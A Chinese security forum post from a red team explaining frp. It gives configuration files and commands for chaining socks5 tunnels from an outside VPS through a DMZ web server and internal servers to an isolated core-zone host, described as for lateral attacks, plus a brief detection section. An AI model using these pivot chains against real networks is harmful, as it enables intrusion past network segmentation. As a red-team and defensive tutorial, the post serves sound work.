安全矩阵

 找回密码
 立即注册
搜索
查看: 892|回复: 0

九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍

[复制链接]

179

主题

179

帖子

630

积分

高级会员

Rank: 4

积分
630
发表于 2023-11-19 19:51:44 | 显示全部楼层 |阅读模式
九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍
一、frp介绍


frp 是一个开源、简洁易用、高性能的内网穿透和反向代理软件,支持 tcp, udp, http, https等协议。


frp项目官网:
https://github.com/fatedier/frp





二、frp工作原理


frp工作原理如下:

服务端运行,监听一个主端口,等待客户端的连接,客户端连接到服务端的主端口,同时告诉服务端要监听的端口和转发类型,服务端fork新的进程监听客户端指定的端口,外网用户连接到客户端指定的端口,服务端通过和客户端的连接将数据转发到客户端,客户端进程再将数据转发到本地服务,从而实现内网对外暴露服务的能力。






三、配置方案


01

搭建一级代理



1

1、说明


A:VPS服务器:212.120.20.10

B:文件服务器:eht0:10.10.1.1、eht1:192.168.1.1




测试人员向获取文件服务器的网络,想和10.10.1.1通信,需要文件服务器连接VPS,通过socks代理打通隧道,在测试人员电脑配置socks代理,实现在测试人员电脑获取文件服务器网络。

1

2、文件服务器配置frpc客户端


因为文件服务器是windows X64位的,所以需要配置frp x64的。


frpc.ini的配置:



[common]
server_addr = 212.129.xx.xx  VPS的IP,也就是服务端的IP
server_port = 59120         服务端的端口
[http_proxy]
type = tcp
remote_port = 59121         代理出来的端口
plugin = socks5             代理的协议

*左右滑动查看更多


将这些上传到文件服务器上。

C:\Users\Public\Downloads\frp1





1

3、VPS服务器配置frps服务端


我们的vps是linux的,因此这里需要运行linux版本的。


frps.ini的配置:




[common]
bind_addr = 0.0.0.0
bind_port = 59120  服务端的端口

1

4、运行frp


在VPS上启动frps:

nohup ./frps -c frps.ini >> frps.log 2>&1 &

*左右滑动查看更多




在web服务器启动frpc:

cd C:\Users\Public\Downloads\frp1\
frpc.exe -c frpc.ini

*左右滑动查看更多






1

5、测试网络


使用Proxifier测试socks5代理成功:




02

搭建二级代理



1

1、说明


A:VPS服务器:212.129.20.10

B:WEB服务器:eht0:10.10.1.1、eht1:10.10.3.100

C:数据库服务器:eth0:10.10.3.6、eth1:15.9.10.1

D:数据汇总服务器:eth0:15.9.10.2





测试人员电脑想要和数据汇总服务器15.9.10.2直接通信,需要搭建二级代理实现。


实现方式:

VPS服务器部署frpS服务端,WEB服务器部署frpS服务端及署frpC客户端,数据库服务器部署frpC客户端。

1

2、VPS服务器配置frps服务端


[common]
bind_addr = 0.0.0.0
bind_port = 59150



1

3、web服务配置frps服务端


[common]
bind_addr = 10.10.3.100   web服务器的eth1的IP地址
bind_port = 59150

*左右滑动查看更多






1

4、web服务配置frpc客户端


# frpc.ini
[common]
server_addr = 212.129.xx.xx  VPS的地址
server_port = 59130
[http_proxy]
type = tcp
local_ip = 10.10.3.100  web服务器的eth1的IP地址
local_port = 59131
remote_port = 59131

*左右滑动查看更多




1

5、数据库服务器配置frpc客户端


# frpc.ini
[common]
server_addr = 10.10.3.100  web服务器的eth1的IP地址
server_port = 59130
[http_proxy]
type = tcp
remote_port = 59131
plugin = socks5

*左右滑动查看更多




1

6、运行frp


先启动VPS上的frps:

nohup ./frps -c frps.ini >> frps.log 2>&1 &

*左右滑动查看更多




在启动web服务器上的frps:

frps -c frps.ini



在启动web服务器上的frpc:

frpc -c frpc.ini



最后启动数据库服务器上的frpc:



这样我们的frp就搭建成功了,只要配置好代理,我们就能访问15.9.10.2了。


03

搭建三级代理



1

1、说明


A:VPS服务器:42.194.210.26

B:WEB服务器:eth0:192.168.0.100、eth1:10.10.3.100

C:数据库服务器:eth0:10.10.3.6、eth1:10.12.10.5

D:数据汇总:eth0:10.12.10.3、eth1:20.20.20.10

E:核心区机器:eth0:20.20.20.11



测试人员电脑想要和数据汇总服务器20.20.20.11直接通信,需要搭建三级代理实现。


核心域主机不能直接连接vps,可以连接内网域数据汇总服务器,内网域数据汇总服务器不能直接连接vps,可以连接DMZ域数据库服务器,DMZ域数据库服务器不能直接连接vps服务器,可以连接DMZ域WEB服务器,DMZ域WEB服务器可以直接连接vps服务器,所以通过DMZ域WEB服务器作为跳板,将socks代理建设在DMZ域WEB服务器中后,将打通隧道进行横向攻击核心域机器。


1

2、ini文件配置信息


VPS服务器:

# frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 36128

web服务器:

# frpc.ini
[common]
server_addr = 42.194.210.26 #VPS服务器地址
server_port = 36128
[http_proxy]
type = tcp
local_ip = 10.10.3.100  #WEB服务器eth1的IP地址
local_port = 36129
remote_port = 36129
# frps.ini
[common]
bind_addr = 10.10.3.100  #WEB服务器eth1的IP地址
bind_port = 36128

*左右滑动查看更多


数据库服务器:

# frpc.ini
[common]
server_addr = 10.10.3.100 #WEB服务器eth1的IP地址
server_port = 36128
[http_proxy]
type = tcp
local_ip = 10.12.10.5 #数据库服务器eth1的IP地址
local_port = 36129
remote_port = 36129
# frps.ini
[common]
bind_addr = 10.12.10.5 #数据库服务器eth1的IP地址
bind_port = 36128

*左右滑动查看更多


数据汇总服务器:

# frpc.ini
[common]
server_addr = 10.12.10.5 #数据库服务器eth1的IP地址
server_port = 36128
[http_proxy]
type = tcp
remote_port = 36129
plugin = socks5

*左右滑动查看更多


1

3、 frp 运行顺序


frpc.exe、frps.exe和ini文件放到各自目录之后开始执行。


要注意执行顺序,从内而外,不能一股脑全执行。


1 、数据汇总服务器和数据库服务器建立代理


数据库服务器开启服务端监听:

shell frps.exe -c frps.ini



数据汇总服务器开启客户端连接:

shell frpc.exe -c frpc.ini



数据库服务器回显如下,此时双方建立隧道成功。


2、数据库服务器和WEB服务器建立代理


WEB服务器开启服务监听:

shell frps.exe -c frps.ini



数据库服务器开启客户端连接:

shell frpc.exe -c frpc.ini



WEB服务器回显如下,此时双方建立隧道成功。



3、WEB服务器和VPS建立代理


VPS服务器开启服务监听:

shell frps.exe -c frps.ini



WEB服务器开启客户端连接:

shell frpc.exe -c frpc.ini



vps服务器回显表示建立成果:




1

4、测试网络


socks5:42.194.210.26:36129



四、检测与预防


frp服务端运行,监听一个主端口,等待客户端的连接,客户端进程将数据转发到服务端,从而实现内网对外暴露服务的能力,如果电脑被植入frp服务,存在极高安全隐患。


1、可通过流量检测系统,分析流量中frp特征,检测电脑是否运行frp。

2、本机执行ps -ef | grep frp 查看本机运行frp情况,对恶意程序及时处置。

3、如果需要frp服务,frpc指定使用访问,要求校验正确身份和服务名后再转发请求,把访问者的本地端口绑定到内网frpc服务上。不再直接把受控端映射到公网端口上,也避免因为公开被扫描爆破的风险,安全的暴露内网服务。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 03:47 , Processed in 0.013183 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表